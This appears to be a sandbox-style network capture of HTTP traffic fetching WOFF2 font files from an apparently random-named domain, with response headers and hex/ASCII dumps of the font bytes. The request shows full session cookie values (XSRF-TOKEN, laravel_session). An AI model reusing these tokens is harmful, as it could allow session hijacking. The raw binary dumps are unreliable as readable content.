2025-03-26 23:32:02 UTC	1165	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:32:02 GMT Content-Type: font/woff2 Content-Length: 43596 Connection: close Content-Disposition: inline; filename="GDSherpa-vf.woff2" Last-Modified: Wed, 26 Mar 2025 23:16:55 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bsTuxf9n3DllQW0FcQu3KFetHEFiO1KQQvRBXpO1XcejoxEwMgpUWZ0IMho72ZPF60NHCNlJpth24tmTiEs9HD1v3baGH9n1rmjjO2jNNNZhs39tzEdD8Il5jcr5iji1raYw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=25809&min_rtt=25781&rtt_var=7267&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2390&delivery_rate=156719&cwnd=253&unsent_bytes=0&cid=8219938f0c09f13f&ts=754&x=0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 907 Accept-Ranges: bytes Server: cloudflare CF-RAY: 926a71ec7e3b187d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=83587&min_rtt=83575&rtt_var=17636&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1927&delivery_rate=36571&cwnd=252&unsent_bytes=0&cid=7d754daf230ba036&ts=192&x=0"
2025-03-26 23:32:02 UTC	204	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 aa 4c 00 13 00 00 00 01 cf 50 00 00 a9 d5 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 83 55 1b 82 e4 7a 1c 8b 04 3f 48 56 41 52 8a 3b 3f 4d 56 41 52 46 06 60 3f 53 54 41 54 1c 00 8e 48 2f 4c 11 08 0a 81 c2 40 81 a5 50 0b 87 3e 00 30 82 8e 00 01 36 02 24 03 8e 78 04 20 05 8d 2e 07 97 7b 5b d6 bb 71 05 b3 c3 e4 8f 52 6c ba 0d 01 b0 74 fa f4 7e 76 f7 0b e8 b1 ed 28 e5 b6 c1 e8 b6 d0 54 c3 74 05 3b f6 14 6e 27 b0 dd 76 3d cc fe ff ff 3f 7f 99 88 6c 5d 02 78 49 92 b5 85 6d 1d 22 a8 ea 3f 68 4e 58 04 2c 02 96 b5 38 1a 3b 47 b4 d6 af cb 6d 2c 7d c1 68 Data Ascii: wOF2LPUz?HVAR;?MVARF`?STATH/L@P>06$x .{[qRlt~v(Tt;n'v=?l]xIm"?hNX,8;Gm,}h
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: d7 aa 3e 28 3d 5b ac 96 88 6d 2f d4 3e 9b b8 a1 ef 38 26 66 c1 e0 26 9d 06 1b b8 9b ad 91 5d a1 75 95 dd e0 26 9c 56 44 8f e5 5d ec 3c 8d 04 79 52 93 65 62 3c 2c 78 9e 9a 82 8b e1 e3 29 f6 84 63 bf 87 74 85 01 a3 6b 16 0e 86 39 ba 09 6f 1e 54 89 f1 52 39 d1 f2 8a 9e 6b 71 93 de 54 52 25 55 f2 d4 76 a3 f6 f9 a5 72 13 5f 92 92 e2 c3 0a 13 44 ba fc 14 66 b2 84 3d 71 48 da a1 bc c4 38 df 90 3c af 1d 07 78 08 c2 28 56 98 49 b2 68 94 4c 33 2a 23 5d 38 89 e2 09 2d 94 7a 94 9c df 03 ae e5 f7 8f 17 33 91 39 56 c4 93 99 be b4 14 f9 8b 98 1e c3 96 75 bf 15 1a a7 e4 0e ea f3 ed 78 b2 b6 f2 cb fa 53 5f ea 1d ff 5c 31 f0 f2 8c ca 26 36 ed e1 bc bc ff 6a 5e da 03 c4 63 3b 28 29 6d c4 4a 9d f5 c4 17 02 3e af fa aa 97 78 7a b0 ea 59 a2 bf ed 7c c8 37 9e 00 9c e8 05 95 21 Data Ascii: >(=[m/>8&f&]u&VD]<yReb<,x)ctk9oTR9kqTR%Uvr_Df=qH8<x(VIhL3*#]8-z39VuxS_\1&6j^c;()mJ>xzY\|7!
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: ff b1 1a 3c 3d 8f 37 0e 3e d9 0e 44 66 41 90 c1 c0 1f 61 26 59 35 9d ce fc 85 47 48 9c dc 58 77 25 09 a5 15 5f 9a 11 1f 54 24 c2 22 11 1e 1e ec 77 dd f6 24 8a 23 a4 3e ee be f6 9b 95 04 2c 60 ba e4 bf 52 71 1e dd 2a 54 ea 34 59 ab a2 82 d2 3a 27 10 31 3a 48 2b 34 e8 5e c7 7b bf 7b c8 65 ff 42 cf bd bd ab ef b8 b2 97 ef 69 4a a4 41 10 31 c6 50 bb 1f be 4e e2 cd 9b d1 0b fa 4b 4f a4 c1 39 b1 d6 36 7e db fb f5 cd a9 82 cc dd 47 43 9a 20 e1 12 24 14 22 52 b8 85 38 22 8e a4 7b 76 f7 f3 d9 17 d6 f7 fc fe f9 d7 29 e7 7b 98 f3 bc db 98 3b b6 aa aa a8 aa a8 88 25 a2 ea 3b df 32 94 7c ed 9f f6 6c ef 21 73 f4 4a bb bb 26 84 c1 18 21 1e e6 21 84 0f 9b 2b 82 1a 77 af 35 6c 48 69 09 35 4a 24 75 82 dc 7e f1 b2 cd 6a 29 3d 11 8f 92 dd 10 05 7f bc 6f 86 94 ab 21 28 0f 87 Data Ascii: <=7>DfAa&Y5GHXw%_T$"w$#>,`Rq*T4Y:'1:H+4^{{eBiJA1PNKO96~GC $"R8"{v){;%;2\|l!sJ&!!+w5lHi5J$u~j)=o!(
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 0d d6 f1 df e0 d4 c1 bd ef 30 01 c5 7f 4b d3 80 08 2e 94 c2 60 c4 f5 1e c7 c1 b8 85 e0 63 f2 fc 21 17 35 5f a4 a7 ad c0 72 cd f9 6e a8 6d 5e 74 02 56 69 66 63 5b 99 97 7c 2c fd 27 61 c8 ae 40 18 e6 df aa 18 25 6e 94 42 80 07 20 2d 08 b1 93 c5 85 92 ca 74 24 c9 29 cb 80 39 2f 50 9a 2f 68 40 1a 7d 11 88 e5 e3 a4 75 80 dc c4 20 d0 83 46 5b 06 ed d9 92 51 34 05 42 e1 1d 06 d4 cc 4f a7 f3 a8 86 14 ca 37 c2 01 b0 1d 64 67 70 c8 e6 3d 82 39 11 ef 09 cd e3 90 81 38 bc 6e d5 36 b0 30 b7 3e 73 33 bc 8a 90 c1 04 4a dc 88 5d 38 67 02 e8 f9 c8 ee e9 ce ef 51 a3 39 c0 26 c4 d8 a7 93 2b e3 36 6f b5 c5 68 7d 8c 94 c3 4b e0 ec cc 9d d2 67 95 c6 4a 2e 43 fd 67 14 df 88 78 3e 8e cb 57 e9 89 c3 1f 96 b3 87 8b 11 33 06 11 34 6b 22 26 55 c5 d6 a2 ea 59 69 82 11 80 6c b8 40 0c Data Ascii: 0K.`c!5_rnm^tVifc[\|,'a@%nB -t$)9/P/h@}u F[Q4BO7dgp=98n60>s3J]8gQ9&+6oh}KgJ.Cgx>W34k"&UYil@
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 60 76 da 7a a0 61 23 1a 24 e2 8f ce 7f 13 bb a1 3d 21 b6 2b 7d ac 76 c8 d7 02 73 06 b5 db d0 49 22 32 49 bf 10 bc a0 d8 9c 34 99 2c 33 d6 72 e1 d2 df 5e 42 a9 8e 7b bd 96 31 a6 4d de a7 62 9b cc 63 9d c6 f1 2f 34 7d 54 e7 b4 4d c7 fa 6c 99 5d 33 da 4c 77 c2 3a 92 a4 64 ed 0b e8 55 62 22 33 fc bb a8 df cf da 1f 54 fe 3f df c2 9f fa 55 eb f3 2f fb 3f 6b 42 80 e6 dc c4 5f d1 c9 e3 66 b4 c7 ea be 1d ac ee 83 8e 1b 6e 8e ad e6 bf 68 8b 30 29 a2 ef ac 6e fe 44 d0 f2 a5 17 56 22 31 26 d0 d2 6d a3 bb 17 9d 73 39 f5 89 d5 38 e0 ef 35 50 6a bd d3 68 98 1c 7f 67 c2 aa e8 a1 96 8b d8 a4 bd 9e 7c 39 3f 4f c8 a7 12 23 ec ed 11 e2 58 6c 9b 9a a1 7a 4c a7 11 3d 93 cb 1a 4c d6 56 ca 7b d7 cc 70 24 8f 19 f8 91 9b ae b0 2b 74 9c 0d c7 6e 45 bd ad 63 20 b9 63 fa 91 b3 d4 3e Data Ascii: `vza#$=!+}vsI"2I4,3r^B{1Mbc/4}TMl]3Lw:dUb"3T?U/?kB_fnh0)nDV"1&ms985Pjhg\|9?O#XlzL=LV{p$+tnEc c>
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 87 b5 d2 33 45 3d 60 68 ca 13 74 8d a8 cd c7 ac 4b bc db 69 e7 25 31 fc e9 40 8d 94 e5 4d f5 ad 81 68 83 eb e8 05 23 03 df f5 fe 06 36 b5 c7 3a 22 04 d7 4e b9 cf d6 7e 51 66 42 4f af b5 64 c4 77 d5 ac 8b 72 c5 c6 e8 da 2f 45 53 1b 5e 36 bf b9 57 f3 0c 9b a7 79 98 43 e9 85 ab 31 07 50 d2 b9 fc f2 4c 58 6f d0 0e 04 fe 5e 10 f2 a5 62 4a 03 ae f5 23 0e a0 dc 11 5f 81 1e 73 b5 7b 39 53 f6 0e a9 9c 61 b4 08 19 a0 37 a3 b3 d1 64 42 58 af 6d b4 58 b0 25 ed e0 2e 67 1a 38 ca 4f ab 6d c5 9d 35 42 5e 54 6b 53 6a da 0c 6e 36 4d af b5 37 f9 5c b6 40 5b 76 29 54 f2 59 8f 3d f3 a5 86 3a 75 01 84 29 72 e0 63 68 d6 c8 ba 8a 3f d4 d9 56 7c 70 6c 59 66 f4 6d 5c cc 9e a2 13 3d b5 d1 e2 c1 14 a1 a4 bd 58 c0 cd f9 49 38 5d 1b e0 c7 3e 80 db 57 d8 d0 f7 34 d5 e9 e3 ff a0 96 2a Data Ascii: 3E=`htKi%1@Mh#6:"N~QfBOdwr/ES^6WyC1PLXo^bJ#_s{9Sa7dBXmX%.g8Om5B^TkSjn6M7\@[v)TY=:u)rch?V\|plYfm\=XI8]>W4*
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 7e 13 d1 ac 11 91 24 f6 1f ff 72 06 c6 c0 fa ed 9c 1c 7d f4 0c d2 d3 70 bc 97 db 6f b1 25 df 73 6b 4b 9b 6f 58 85 19 04 fb ee 8a f8 5e bf d7 b7 51 00 f1 b3 57 23 59 2e 77 0d f4 d4 fc 07 b6 eb 05 61 4b 8f 5a 69 5f 3f 47 81 2d dd 92 6b bd 6b 22 2b 98 d4 8f e4 e9 b1 30 e8 a1 ef f4 f7 86 b3 0e 29 d8 19 de e0 eb f9 a7 c6 a9 6c 9d 52 a2 a4 d8 95 ec 1d d9 5a e9 cf 87 7a 12 ff cf f2 c9 76 7e e8 a4 ba b1 b6 d1 ee e0 7a 6f e0 85 92 f6 20 63 59 69 56 e6 b3 2a dd e1 fb 92 29 89 1f d5 9b 49 97 d7 9b e9 9f a6 2b 09 6d e5 0d 86 58 5d fc e5 38 51 16 3b ad f1 91 74 dc 2c 3d 43 ce b0 07 c9 31 8e e0 3d 9f d5 dd 53 e1 45 a4 70 60 88 7d f4 f0 c9 ce e9 3c 80 df d7 78 30 94 d8 36 05 db e0 5a 22 20 14 60 19 dd f7 b3 b4 bd 5f 75 e5 6b a0 e7 ef 7e 7d d8 73 30 10 2c 3f 4a 0d df 7f Data Ascii: ~$r}po%skKoX^QW#Y.waKZi_?G-kk"+0)lRZzv~zo cYiV*)I+mX]8Q;t,=C1=SEp`}<x06Z" `_uk~}s0,?J
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: ac 98 ff 3a b4 82 89 8f 6e e2 7b 95 55 6b 5d 9c cb f6 08 a5 23 7f ed f7 4e 66 a8 e5 0a f9 d5 c5 a9 c7 23 63 4f 93 1d bf 47 04 43 fb 82 87 2a 48 c7 8f d1 c3 39 c5 a6 73 dc 75 9e ee e5 63 68 f7 63 e3 75 2f 53 26 0b a9 87 9d 72 2c d1 e7 f6 b1 d4 a1 7c c2 a2 da 8a 7c 3f b9 20 fe 3a 8d 43 33 1b ab d4 f5 6d 4d c3 e2 dd 36 ee 35 62 69 95 22 f0 46 f8 d9 7a 68 37 a5 a8 21 6e b5 b2 92 5f 40 ab 16 92 96 5b e2 15 6e 46 29 46 b7 00 4f 05 6e b1 9b fa f9 5a cb 80 d9 34 ac 08 96 d6 da 40 6d 7b 3f f8 24 61 96 de 62 e5 00 a4 59 3c a2 bd a6 1e 75 01 cd 9c 00 1f 0d c7 da 08 15 91 3f d2 c4 4f 7f c1 0d 6c 0a 22 cb 59 c2 51 e4 59 52 b4 8c ef 09 b2 25 0c b9 b2 75 36 d6 a1 d6 98 53 0f e7 62 e9 dd f0 9f 66 d4 22 1b 6b 13 ea f6 c1 6d 7d 2a ba 94 7c f6 e9 dd fc 87 22 db 87 d7 e0 12 Data Ascii: :n{Uk]#Nf#cOGCH9suchcu/S&r,\|\|? :C3mM65bi"Fzh7!n_@[nF)FOnZ4@m{?$abY<u?Ol"YQYR%u6Sbf"km}\|"
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 75 20 9b b0 dd 0e 33 56 08 34 0b c9 ab 60 21 06 9f 15 10 0a 11 56 b6 61 9b a3 60 19 bd 82 2f ef c3 27 94 de ec ac 7c 55 54 c1 6a 83 d9 78 80 42 b4 21 58 23 ee bd fb 0a 3c f6 0f 28 19 2d 72 45 2f 9d 7c c7 ad 83 d8 2f 0d 8f 8c 1e f3 0b 28 e3 21 4d 8f fb ea 20 10 30 08 28 18 b0 44 f7 bf 00 88 20 61 11 d1 62 c4 ba f7 8a 41 c1 e1 43 42 87 c9 3d 6c 7b 81 47 00 38 11 5e 87 bf 23 b8 f0 b5 38 9c ef ea 0c ae 85 bb ad d9 82 3b e8 87 fa ef ed 3d c0 a3 eb 3f 0b b7 80 4d ef 65 b7 82 c3 97 dd 06 3e bc 8c 32 b8 6e 01 00 00 00 0d 47 0c ca 60 3c 20 d5 88 13 d9 02 c9 08 14 13 80 6e 8b 60 31 74 c6 dc 8c db d7 e9 d4 6a dc 38 9e 1a bf 1e 5f 00 01 05 55 88 89 bf ca 0c 2c 3a b7 0d 0a 83 0a d2 de 02 4a df 91 b3 2b 6d b3 43 b5 a5 48 08 52 40 cb a8 7f 90 13 46 b7 a0 cc 41 5a ff 9e Data Ascii: u 3V4`!Va`/'\|UTjxB!X#<(-rE/\|/(!M 0(D abACB=l{G8^#8;=?Me>2nG`< n`1tj8_U,:J+mCHR@FAZ
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 28 f0 06 00 f0 f4 eb 01 e0 3a f0 a8 7c e2 2f 37 5c 00 8e a5 ab fe c8 4d 7e f8 24 cc da 65 7a 3b ea 60 78 86 ff b3 c6 4f 36 07 f0 1a 51 20 a0 99 2b b4 a0 13 bd 18 20 6b 45 56 76 cd d7 7a ed d7 c7 ba aa 3b b1 b4 64 a3 7a aa 0f 66 70 46 7f 21 15 af 12 d9 74 5e ed 72 69 d8 84 35 5b ae ba 2b fa 7d 68 88 d0 99 2c 36 2d b4 e3 a4 1b 8f 95 8e bb 7f 97 86 e2 ba 5c 5f 5c df 69 51 46 4e 6c 02 f0 b1 d8 e7 2b 8e a3 a9 3f be b2 11 27 f6 00 43 55 69 d3 a5 df 48 6c 3e eb b5 05 1b 3e ba b4 16 0c 1b 33 6e 8c b6 ef fe ea b0 51 5b 67 5b ed 66 bb c5 76 da fd f6 d8 d0 81 a1 a3 43 33 b6 8e 1c 8d 18 91 60 24 d2 66 95 22 dd f3 ef ac 3b 07 1e e5 27 52 13 68 c6 e2 f5 de f1 3b 8f f0 81 ef 71 fe f1 fd 49 ba 7e 09 cf 1d a4 7f fa e7 21 f4 b6 ef 13 3a 82 ff 4c fc 0f 8e df 4c fc 77 bc e8 Data Ascii: (:\|/7\M~$ez;`xO6Q + kEVvz;dzfpF!t^ri5[+}h,6-\_\iQFNl+?'CUiHl>>3nQ[g[fvC3`$f";'Rh;qI~!:LLw

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:32:02 UTC	1356	OUT	GET /GDSherpa-vf2.woff2 HTTP/1.1 Host: ea.gdpfjvzprf.es Connection: keep-alive Origin: https://ea.gdpfjvzprf.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
2025-03-26 23:32:02 UTC	1168	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:32:02 GMT Content-Type: font/woff2 Content-Length: 93276 Connection: close Content-Disposition: inline; filename="GDSherpa-vf2.woff2" Last-Modified: Wed, 26 Mar 2025 23:16:50 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6rZmavP5VdBYNi4CTS101%2FGA7BOXKYgSvnxeWTPJ8IFe0A5X44GjyJg63tRfg00mUsyWZflBMGCiFeHdqA%2BPj2aEJrMGG5fcjMPg6dlWBek0jhCSfUez9oQxwhXOQhmbTWWv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1644&min_rtt=1630&rtt_var=485&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2392&delivery_rate=2340277&cwnd=253&unsent_bytes=0&cid=6804d6553dd90a31&ts=737&x=0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 912 Accept-Ranges: bytes Server: cloudflare CF-RAY: 926a71ec7bfb1a48-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=83915&min_rtt=83902&rtt_var=17721&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1928&delivery_rate=36410&cwnd=252&unsent_bytes=0&cid=73d8e5f3871ac615&ts=191&x=0"
2025-03-26 23:32:02 UTC	201	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 6c 5c 00 14 00 00 00 04 b2 20 00 01 6b e0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a a4 76 1b 83 bb 26 1c 93 24 3f 48 56 41 52 a0 6a 3f 4d 56 41 52 81 46 06 60 3f 53 54 41 54 81 36 27 38 00 91 18 2f 81 48 11 08 0a 81 f8 0c 81 d3 78 0b 89 1a 00 30 8b e7 3a 01 36 02 24 03 92 30 04 20 05 97 7a 07 a2 17 5b 12 9a 94 07 25 22 db df 13 ba a5 ab c1 a5 a2 a8 fe 21 df bb 49 da 54 19 b0 7f a9 77 90 21 63 9b 48 1d ce cd 74 1d 5d 6b a5 08 9e a7 0f c8 36 9d f1 82 43 79 c3 a8 7f 55 6c b7 72 65 ff ff ff ff ff ff 9b 92 49 8c e9 25 e8 25 f9 7f 00 15 44 Data Ascii: wOF2l\ kv&$?HVARj?MVARF`?STAT6'8/Hx0:6$0 z[%"!ITw!cHt]k6CyUlreI%%D
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 45 b1 a0 ba ce 76 d3 69 ae 51 46 38 dc dd 84 83 d2 69 48 19 21 72 0a ca e2 f4 da d1 50 34 5a 5b b9 db ae 1d f6 5a 73 10 9e 89 b6 6f 06 0e 72 ef e2 38 62 1c 4f e8 ea 01 a9 6e cf 19 c7 21 ef 85 0b 87 09 13 e9 52 7d 47 4c 0e c3 35 6e 21 02 bb de e5 5e e4 9b b2 cb 49 10 e5 82 c3 41 89 fa 8c 03 e7 80 55 08 8a bb 2c 26 bf 84 75 7a a2 bc 81 1a 45 7f 52 ae 4b 2f 47 4c d1 0e eb 23 c5 82 f2 55 13 14 41 38 25 09 72 64 c4 d3 45 2c 7d a1 88 b0 27 65 e7 c3 80 f1 75 10 eb 82 33 17 64 44 9a 0c d1 e1 7d c8 bc 9f 3a ee fe 30 9b 61 ba 8a 23 4f 38 bb 7c c4 37 ee e8 7b dc a7 7d 85 6f 10 dd 17 fe 9a bf 28 bc 44 dc 91 8f 48 58 1f 0d d2 77 aa 3b 46 e2 0a 17 67 b8 2b 17 f1 1e ee 98 67 0e 78 af ae 2c af 40 7e 3c cf 4b ce cd d7 94 da c8 d9 5a 4a 77 dc 1e 1c e6 94 fa f2 5e 86 21 e5 Data Ascii: EviQF8iH!rP4Z[Zsor8bOn!R}GL5n!^IAU,&uzERK/GL#UA8%rdE,}'eu3dD}:0a#O8\|7{}o(DHXw;Fg+gx,@~<KZJw^!
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 0f 51 13 a8 6a 95 66 57 57 f5 ce 3d 80 89 09 a1 c5 40 df 48 36 81 26 dc dc 00 be 84 1a 10 87 78 f8 77 ed 73 5e 32 f0 61 76 b7 80 28 01 65 7b 7c 25 2b 16 3a f9 b3 aa 42 55 38 95 6b e1 1a 39 c9 03 82 2b 28 62 54 e4 2a b3 77 9b e4 02 05 b6 7d 55 62 5f 4d 28 19 54 d5 53 a1 fe 7f af 9b 27 1d 42 5e 8a 2a 4d 61 f7 78 4a d7 99 24 18 8f 95 38 f5 77 78 da 56 ff de 0c cc d0 da 7b 5b e9 66 5e ed 60 5c 44 fd fd 51 cd 63 86 92 30 41 0c 10 03 14 29 89 14 10 8c 5a d7 55 37 4a dd a8 73 23 2f b7 5c a6 f3 78 cf 08 c4 90 6e f8 fc cf 99 19 00 3e 7f 6a 6a 0a d8 4e 4e 48 14 16 00 83 f8 39 50 48 53 c0 cb 41 71 40 9e 58 9d 50 6b 7f 80 7e 86 29 43 64 38 04 73 eb ac 0f ab 51 b2 25 63 2c 93 45 b3 66 1b 63 c9 d8 46 f4 18 25 51 23 86 44 0a 4a 98 88 51 98 f9 7e 94 be cf b7 5f 6d d1 58 Data Ascii: QjfWW=@H6&xws^2av(e{\|%+:BU8k9+(bTw}Ub_M(TS'B^MaxJ$8wxV{[f^`\DQc0A)ZU7Js#/\xn>jjNNH9PHSAq@XPk~)Cd8sQ%c,EfcF%Q#DJQ~_mX
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 6e b5 2e 28 ac c0 80 33 ab 00 bf e8 a9 d3 90 e6 05 8a fa 5a 4f 65 65 dd 26 71 26 aa 9e 8a 69 21 f1 26 a3 0b 8e ba 51 d4 2b 0a c0 ac 4e 83 df fb a1 5c de df c7 84 01 fc 85 d9 d5 02 79 f8 fd 64 32 f8 09 c2 23 f7 e2 70 d1 d1 c9 3b f3 0e 00 18 00 94 f8 6a dd 3a 62 8a c5 68 b4 dd 4e 26 7b bd 74 7a 30 c8 e7 c7 63 6d a6 d3 6a 75 b1 68 36 d7 eb b0 6c b7 c3 21 4d 7b c3 b2 f3 b9 20 ac 56 b2 5c 90 e5 a2 aa 00 e8 3a 18 c6 c6 b2 78 1e 42 51 74 9c e2 dd 8e 82 31 b9 81 40 3c fe 02 45 0b 86 21 08 49 2e a4 52 50 d4 64 18 1c ef 93 20 58 56 85 e7 d3 69 41 08 42 81 b3 59 8b 28 72 9c 24 59 96 17 e7 72 37 aa 5a f2 79 45 29 30 28 72 4a 82 92 40 4a 94 b2 d6 60 cc 61 2e d7 35 c5 39 6b bd 1f 84 70 04 f9 eb 29 3e 3a f2 e6 70 d0 42 8c 29 7d bf fc 53 55 08 71 64 b7 f5 76 7e de bd 3e Data Ascii: n.(3ZOee&q&i!&Q+N\yd2#p;j:bhN&{tz0cmjuh6l!M{ V\:xBQt1@<E!I.RPd XViABY(r$Yr7ZyE)0(rJ@J`a.59kp)>:pB)}SUqdv~>
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: 0c 8d 8b 6b 71 a8 9b 77 7a 33 d9 37 4e 87 54 8f a3 7f 40 63 04 55 47 4a 1a b8 76 82 18 e2 be 7f 98 5c 6f cf 48 b0 3e 7a 74 20 6e 6a 3a c7 a8 26 89 dd 9c ce 4a 89 29 b5 84 28 8d e8 42 8d cb 52 2e e7 b5 55 fc e7 e4 60 b1 88 1c 02 a2 4c ad e2 4a c0 a7 71 de f5 83 2c 93 d1 af ba 96 1a ac d4 fd a9 01 f2 00 e4 f3 c9 4b c9 31 22 75 bc 5f af 93 71 45 48 68 20 6a ce 87 d4 5e 6d c8 92 b3 9b 33 02 45 51 e3 91 59 f6 88 6e 11 41 c9 51 d4 07 af b7 01 06 c8 6a c4 96 af dd 69 f0 0f d8 2a e2 6c 0f 28 6b 62 73 c4 d9 65 0c f8 d4 d4 09 f8 01 4f de 00 9e 3c 65 77 fb 95 b2 51 cd 5a 2d 2b f5 cc 75 78 4c af fb 96 83 c8 47 b6 7e c9 c9 31 e8 2e 43 ee 30 e2 88 71 87 4c 38 68 ca 7e 33 f6 9a b3 db 82 9d 73 49 48 dd 97 33 02 6c b7 62 eb dc 50 aa db df 51 37 61 c3 6d 2b 1f 89 6c 26 ac Data Ascii: kqwz37NT@cUGJv\oH>zt nj:&J)(BR.U`LJq,K1"u_qEHh j^m3EQYnAQji*l(kbseO<ewQZ-+uxLG~1.C0qL8h~3sIH3lbPQ7am+l&
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: ed ef a6 7b f5 a5 11 d5 df 27 49 0d 46 28 05 81 61 25 a2 5d a6 81 69 5c c2 02 08 27 52 07 15 bd 8f 9d f8 5b 07 70 bf e6 cd 17 08 28 e0 26 fd 17 dd 73 03 02 74 77 7f 99 04 23 6d 76 0d 32 11 48 04 00 7e 05 4e 0d eb 27 75 3c 6c 2c 6c c3 77 3b c3 70 2f 60 4d 31 dc 0b 04 77 e6 7c 3e 08 bf d8 ae a8 6d 33 4b 77 ab fe 6d 4b 26 9b 99 f5 f8 32 b7 6b 0f b8 bf 83 50 1d ee 08 8b 97 e8 34 77 fc e5 f1 38 0e 97 80 b0 b2 db a3 1e 8d 47 d2 b7 45 f8 ab ba 35 d4 b0 2d 4c f4 7d fc f3 6d 4d 5e 76 d5 64 74 6e 2f 82 b1 f0 ba 4b d3 55 ea 85 b5 62 be 83 e1 69 86 6a b8 c8 8b c1 5a 4a a7 c5 11 6f 33 73 2e f6 36 fe aa 50 09 03 a4 df ff 20 62 90 9f 7a 3c 54 2d ee db 6f 86 1a 42 b8 06 61 c8 b8 4c 63 74 4b 67 b7 25 94 42 e4 80 77 f2 e4 71 78 aa 0d 93 d0 11 8b 6c 8e 39 7b d9 62 0f ab 99 Data Ascii: {'IF(a%]i\'R[p(&stw#mv2H~N'u<l,lw;p/`M1w\|>m3KwmK&2kP4w8GE5-L}mM^vdtn/KUbijZJo3s.6P bz<T-oBaLctKg%Bwqxl9{b
2025-03-26 23:32:02 UTC	1369	IN	Data Raw: f2 e6 2d 6c b4 45 da 30 62 bf 2b eb e8 28 0f a3 1a ca 78 d7 62 9b 53 26 cb f2 94 82 52 db 64 9b 90 ef f0 56 d4 b5 db 01 43 9d 8a b5 f0 fb a2 ac 59 d4 56 bf ab 5c 03 37 ed 95 d2 73 b7 fe 81 58 e0 38 ed af 97 31 12 0c 48 e1 f9 c9 a4 05 3d 65 49 26 ef b5 8a d8 5c c1 66 d9 9b 7f 4a 61 a4 ad 89 d2 bb 3a 50 80 24 57 2b 3c 37 75 4a a4 39 6c fd 00 ea 85 4e 3b d1 c2 7d 2a 16 aa 37 04 44 84 b4 15 68 36 d7 58 3c c7 7b 64 ad 83 d4 40 7b ae 43 1d 30 a1 9f dc 34 b4 b9 58 af 48 29 03 7d 8d e5 0a e4 80 1a 54 40 49 9e d6 ed 54 8c 1a 33 b6 75 12 46 2c f1 86 29 13 ec b0 ac 2e 4d 03 ff e1 d0 5e e0 b6 1f 78 4e e1 05 af 16 7e ae 78 b5 5c 88 e9 3d 2f aa fc 1c 9c 77 84 19 8f 32 b7 b3 ad 8a e3 ba 21 3a 1e f6 66 ed 44 5f 78 88 5b cf 4e f3 b8 70 1e d3 ed 25 43 1a e8 25 13 